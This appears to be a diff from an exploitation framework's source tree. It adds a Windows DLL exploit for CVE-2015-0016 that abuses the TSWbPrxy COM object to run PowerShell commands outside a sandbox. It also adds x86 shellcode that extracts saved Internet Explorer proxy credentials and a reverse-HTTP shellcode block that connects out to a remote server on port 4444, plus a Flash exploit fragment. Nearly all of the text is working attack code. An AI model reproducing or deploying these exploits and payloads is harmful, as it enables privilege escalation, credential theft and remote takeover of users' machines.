|
||||
arg_c0:uint, arg_c1:uint, arg_c2:uint, arg_c3:uint, arg_c4:uint, arg_c5:uint, arg_c6:uint, arg_c7:uint,
|
||||
arg_c8:uint, arg_c9:uint, arg_ca:uint, arg_cb:uint, arg_cc:uint, arg_cd:uint, arg_ce:uint, arg_cf:uint,
|
||||
arg_d0:uint, arg_d1:uint, arg_d2:uint, arg_d3:uint, arg_d4:uint, arg_d5:uint, arg_d6:uint, arg_d7:uint,
|
||||
arg_d8:uint, arg_d9:uint, arg_da:uint, arg_db:uint, arg_dc:uint, arg_dd:uint, arg_de:uint, arg_df:uint,
|
||||
arg_e0:uint, arg_e1:uint, arg_e2:uint, arg_e3:uint, arg_e4:uint, arg_e5:uint, arg_e6:uint, arg_e7:uint,
|
||||
arg_e8:uint, arg_e9:uint, arg_ea:uint, arg_eb:uint, arg_ec:uint, arg_ed:uint, arg_ee:uint, arg_ef:uint,
|
||||
arg_f0:uint, arg_f1:uint, arg_f2:uint, arg_f3:uint, arg_f4:uint, arg_f5:uint, arg_f6:uint, arg_f7:uint,
|
||||
arg_f8:uint, arg_f9:uint, arg_fa:uint, arg_fb:uint, arg_fc:uint, arg_fd:uint, arg_fe:uint, arg_ff:uint):uint
|
||||
{
|
||||
return magic1 + magic2;
|
||||
}
|
||||
|
||||
public function Pwned()
|
||||
{
|
||||
magic1 = 0xdecafbad;
|
||||
magic2 = 0xdecafbad;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.31101.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2015-0016", "cve-2015-0016\cve-2015-0016.vcxproj", "{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,48 @@
|
|||
========================================================================
|
||||
DYNAMIC LINK LIBRARY : cve-2015-0016 Project Overview
|
||||
========================================================================
|
||||
|
||||
AppWizard has created this cve-2015-0016 DLL for you.
|
||||
|
||||
This file contains a summary of what you will find in each of the files that
|
||||
make up your cve-2015-0016 application.
|
||||
|
||||
|
||||
cve-2015-0016.vcxproj
|
||||
This is the main project file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the version of Visual C++ that generated the file, and
|
||||
information about the platforms, configurations, and project features selected with the
|
||||
Application Wizard.
|
||||
|
||||
cve-2015-0016.vcxproj.filters
|
||||
This is the filters file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the association between the files in your project
|
||||
and the filters. This association is used in the IDE to show grouping of files with
|
||||
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
|
||||
"Source Files" filter).
|
||||
|
||||
cve-2015-0016.cpp
|
||||
This is the main DLL source file.
|
||||
|
||||
When created, this DLL does not export any symbols. As a result, it
|
||||
will not produce a .lib file when it is built. If you wish this project
|
||||
to be a project dependency of some other project, you will either need to
|
||||
add code to export some symbols from the DLL so that an export library
|
||||
will be produced, or you can set the Ignore Input Library property to Yes
|
||||
on the General propert page of the Linker folder in the project's Property
|
||||
Pages dialog box.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other standard files:
|
||||
|
||||
StdAfx.h, StdAfx.cpp
|
||||
These files are used to build a precompiled header (PCH) file
|
||||
named cve-2015-0016.pch and a precompiled types file named StdAfx.obj.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other notes:
|
||||
|
||||
AppWizard uses "TODO:" comments to indicate parts of the source code you
|
||||
should add to or customize.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
|
@ -0,0 +1,46 @@
|
|||
// MyExploit.cpp : Defines the exported functions for the DLL application.
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include <objbase.h>
|
||||
|
||||
#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace
|
||||
#define MAX_ENV 32767
|
||||
|
||||
bstr_t GetEnv(LPCSTR env)
|
||||
{
|
||||
CHAR buf[MAX_ENV];
|
||||
|
||||
GetEnvironmentVariable(env, buf, MAX_ENV);
|
||||
|
||||
return buf;
|
||||
}
|
||||
|
||||
void DoTSWbPrxyExploit() {
|
||||
HRESULT hr;
|
||||
IMSTSWebProxy *pUnk;
|
||||
|
||||
CHAR cmdline[] = "TSWbPrxy.exe";
|
||||
STARTUPINFO startInfo = { 0 };
|
||||
PROCESS_INFORMATION procInfo = { 0 };
|
||||
|
||||
hr = CreateProcess(GetEnv("windir") + "\\System32\\TSWbPrxy.exe", cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo);
|
||||
if (hr == 0)
|
||||
return;
|
||||
|
||||
hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk);
|
||||
if (hr != 0)
|
||||
return;
|
||||
|
||||
pUnk->StartRemoteDesktop(GetEnv("windir") + "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", GetEnv("PSHCMD"));
|
||||
pUnk->Release();
|
||||
}
|
||||
|
||||
DWORD CALLBACK ExploitThread(LPVOID hModule)
|
||||
{
|
||||
CoInitialize(nullptr);
|
||||
DoTSWbPrxyExploit();
|
||||
CoUninitialize();
|
||||
|
||||
FreeLibraryAndExitThread((HMODULE)hModule, 0);
|
||||
}
|
105
external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj
vendored
Executable file
105
external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj
vendored
Executable file
|
@ -0,0 +1,105 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>cve20150016</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="cve-2015-0016.cpp" />
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
39
external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters
vendored
Executable file
39
external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters
vendored
Executable file
|
@ -0,0 +1,39 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="cve-2015-0016.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,24 @@
|
|||
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||
#include "stdafx.h"
|
||||
|
||||
DWORD CALLBACK ExploitThread(LPVOID hModule);
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// cve-2015-0016.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
|
@ -0,0 +1,16 @@
|
|||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||
// Windows Header Files:
|
||||
#include <windows.h>
|
||||
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
|
@ -0,0 +1,8 @@
|
|||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
#include <SDKDDKVer.h>
|
|
@ -1,5 +1,15 @@
|
|||
#!/bin/bash
|
||||
|
||||
# This requires Java 1.7 or earlier because it uses private APIs.
|
||||
# See http://kris-sigur.blogspot.com/2014/10/heritrix-java-8-and-sunsecuritytoolskey.html
|
||||
# for more information.
|
||||
|
||||
# Attempt to use Java 1.6 when building on OS X, otherwise JAVA_HOME needs to
|
||||
# be set manually.
|
||||
if [ -x /usr/libexec/java_home ]; then
|
||||
export JAVA_HOME=$(/usr/libexec/java_home -v 1.6)
|
||||
fi
|
||||
|
||||
javac -classpath $JAVA_HOME/lib/tools.jar:. javaCompile/*.java
|
||||
|
||||
jar -cf msfJavaToolkit.jar javaCompile/*.class
|
||||
|
|
|
@ -145,7 +145,7 @@ download_more:
|
|||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov rax, [rdi]
|
||||
mov ax, word ptr [edi]
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
|
||||
test rax,rax ; optional?
|
||||
|
|
|
@ -0,0 +1,209 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Unknown
|
||||
; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'
|
||||
; Output: top element of stack will be pointer to null-terminated password and
|
||||
; second will be pointer to null-terminated username of the Proxy saved in IE
|
||||
|
||||
pushad
|
||||
jmp after_functions
|
||||
|
||||
alloc_memory: ; returns address to allocation in eax
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x1000 ; allocate 1000 byte for each variable (could be less)
|
||||
push 0 ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$
|
||||
ret ;
|
||||
;
|
||||
after_functions: ;
|
||||
;
|
||||
; allocate memory for variables and save pointers on stack
|
||||
mov bl, 9 ;
|
||||
alloc_loop: ;
|
||||
call alloc_memory ;
|
||||
push eax ; save allocation address on stack
|
||||
dec bl ;
|
||||
jnz alloc_loop ;
|
||||
;
|
||||
load_pstorec: ; loads the pstorec.dll
|
||||
push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack.
|
||||
push 0x6f747370 ; ...
|
||||
push esp ; Push a pointer to the 'pstorec',0 string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "pstorec" )
|
||||
; this should leave a handle to the pstorec
|
||||
; DLL-Module in eax
|
||||
|
||||
pop edx ; remove 'pstorec' string from stack
|
||||
pop edx
|
||||
|
||||
PStoreCreateInstance_PStore:
|
||||
; returns address to PStore in pPStore
|
||||
pop edi ; pop pPstore
|
||||
push edi ; restore stack
|
||||
;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push edi ; arg4: pPstore
|
||||
push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" )
|
||||
call ebp ; PstoreCreateInstance(address, 0, 0, 0)
|
||||
;
|
||||
PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes
|
||||
pop eax ; pop pPstore
|
||||
pop edx ; pop pEnumPstoreTypes
|
||||
push edx ; restore stack
|
||||
push eax ;
|
||||
;
|
||||
push edx ; arg1: pEnumPstoreTypes
|
||||
push 0 ; arg2: NULL
|
||||
push 0 ; arg3: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll
|
||||
mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38)
|
||||
call edx ; call IPStore::EnumTypes
|
||||
mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected
|
||||
;
|
||||
EnumPStoreTypes.raw_Next:
|
||||
pop eax ; pop pPStore
|
||||
pop edx ; pop pEnumPStoreTypes
|
||||
pop ecx ; pop pTypeGUID
|
||||
push ecx ; restore stack
|
||||
push edx ;
|
||||
push eax ;
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push ecx ; arg2: pTypeGUID
|
||||
push 1 ; arg3: 1
|
||||
mov edx, [edx] ; load base address of EnumPStoreTypes
|
||||
push edx ; push base address of EnumPStoreTypes (this)
|
||||
mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C)
|
||||
call edx ; call EnumPStoreTypes::raw_Next
|
||||
;
|
||||
mov eax, [esp+8] ;
|
||||
mov eax, [eax] ;
|
||||
;
|
||||
test eax, eax ;
|
||||
jz no_auth ; no Password found
|
||||
cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites"
|
||||
jne EnumPStoreTypes.raw_Next
|
||||
;
|
||||
PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ()
|
||||
pop eax ; pop pPstore
|
||||
pop edx ; pop pEnumPstoreTypes
|
||||
pop ecx ; pop pTypeGUID
|
||||
pop edi ; pop pEnumSubtypes
|
||||
push edi ; restore stack
|
||||
push ecx ;
|
||||
push edx ;
|
||||
push eax ;
|
||||
;
|
||||
push edi ; arg1: pEnumSubtypes
|
||||
push 0 ; arg2: NULL
|
||||
push ecx ; arg3: pTypeGUID
|
||||
push 0 ; arg4: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll
|
||||
mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C)
|
||||
call edx ; call IPStore::EnumSubtypes
|
||||
;
|
||||
EnumSubtypes.raw_Next:
|
||||
mov eax, [esp+0x0C] ; pop pEnumSubtypes
|
||||
mov edx, [esp+0x10] ; pop psubTypeGUID
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push edx ; arg2: psubTypeGUID
|
||||
push 1 ; arg3: 1
|
||||
mov eax, [eax] ; load base address of EnumSubtypes in eax
|
||||
push eax ; push base address of EnumSubtypes (this)
|
||||
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C)
|
||||
call edx ; call EnumSubtypes.raw_Next
|
||||
;
|
||||
PStore.EnumItems:
|
||||
pop eax ; pop pPstore
|
||||
pop ecx ;
|
||||
pop edx ; pop pTypeGUID
|
||||
push edx ; restore stack
|
||||
push ecx ;
|
||||
push eax ;
|
||||
mov ecx, [esp+0x10] ; pop psubTypeGUID
|
||||
mov edi, [esp+0x14] ; pop pspEnumItems
|
||||
;
|
||||
push edi ; arg1: pspEnumItems
|
||||
push 0 ; arg2: NULL
|
||||
push ecx ; arg3: psubTypeGUID
|
||||
push edx ; arg4: pTyoeGUID
|
||||
push 0 ; arg5: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll
|
||||
mov edx, [edx+0x54] ;
|
||||
call edx ; call IPStore::Enumitems
|
||||
;
|
||||
spEnumItems.raw_Next:
|
||||
mov eax, [esp+0x14] ; pop pspEnumItems
|
||||
mov ecx, [esp+0x18] ; pop pitemName
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push ecx ; arg2: pitemName
|
||||
push 1 ; arg3: 1
|
||||
mov eax, [eax] ; load base address of spEnumItems in eax
|
||||
push eax ; push base addres of spEnumItems (this)
|
||||
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ;
|
||||
call edx ;
|
||||
;
|
||||
PStore.ReadItem:
|
||||
pop eax ; pop pPStore
|
||||
push eax ;
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push 0 ; arg2: NULL (stiinfo not needed)
|
||||
mov ecx, [esp+0x24] ; pop ppsData (8. Element)
|
||||
push ecx ; arg3: ppsData
|
||||
mov ecx, [esp+0x2C] ; pop ppsDataLen
|
||||
push ecx ; arg4: ppsDataLen (not needed?)
|
||||
mov ecx, [esp+0x28] ; pop pitemName (7. Element)
|
||||
mov ecx, [ecx] ;
|
||||
push ecx ; arg5: pitemName
|
||||
mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element)
|
||||
push ecx ; arg6: psubTypeGUID
|
||||
mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element)
|
||||
push ecx ; arg7: pTypeGUID
|
||||
push 0 ; arg8: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base addres of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll
|
||||
mov edx, [edx+0x44] ;
|
||||
call edx ;
|
||||
;
|
||||
split_user_pass:
|
||||
mov eax, [esp+0x1C] ; eax = ppsData
|
||||
mov eax, [eax] ; now eax contains pointer to "user:pass"
|
||||
push eax ; push pointer to user
|
||||
mov cl, byte 0x3a ; load ":" in ecx
|
||||
mov dl, byte [eax] ; load first byte of ppsData in edx
|
||||
cmp cl, dl ;
|
||||
jz no_auth ;
|
||||
loop_split: ;
|
||||
inc eax ;
|
||||
mov dl, byte [eax] ;
|
||||
cmp cl, dl ;
|
||||
jnz loop_split ; increase eax until it points to ":"
|
||||
;
|
||||
mov [eax], byte 0x00 ; replace ":" with 00
|
||||
inc eax ;
|
||||
push eax ; push pointer to pass
|
||||
;
|
||||
no_auth:
|
||||
|
157
external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm
vendored
Normal file
157
external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm
vendored
Normal file
|
@ -0,0 +1,157 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: HD Moore
|
||||
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
||||
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Top and second top element of stack can be pointer to null-terminated
|
||||
; password and pointer to null-terminated username of a proxy server to connect to.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
load_wininet:
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
push 0x696e6977 ; ...
|
||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
|
||||
internetopen:
|
||||
xor edi,edi
|
||||
push edi ; DWORD dwFlags
|
||||
push edi ; LPCTSTR lpszProxyBypass
|
||||
push edi ; LPCTSTR lpszProxyName
|
||||
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push byte 0 ; NULL pointer
|
||||
push esp ; LPCTSTR lpszAgent ("\x00")
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
|
||||
jmp short dbl_get_server_host
|
||||
|
||||
internetconnect:
|
||||
pop ebx ; Save the hostname pointer
|
||||
xor edi, edi
|
||||
push edi ; DWORD_PTR dwContext (NULL)
|
||||
push edi ; dwFlags
|
||||
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ecx ; password
|
||||
push edx ; username
|
||||
push dword 4444 ; PORT
|
||||
push ebx ; HOSTNAME
|
||||
push eax ; HINTERNET hInternet
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
|
||||
jmp get_server_uri
|
||||
|
||||
httpopenrequest:
|
||||
pop ecx
|
||||
xor edx, edx ; NULL
|
||||
push edx ; dwContext (NULL)
|
||||
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
|
||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00000200 ; INTERNET_FLAG_NO_UI
|
||||
push edx ; accept types
|
||||
push edx ; referrer
|
||||
push edx ; version
|
||||
push ecx ; url
|
||||
push edx ; method
|
||||
push eax ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
mov esi, eax ; hHttpRequest
|
||||
|
||||
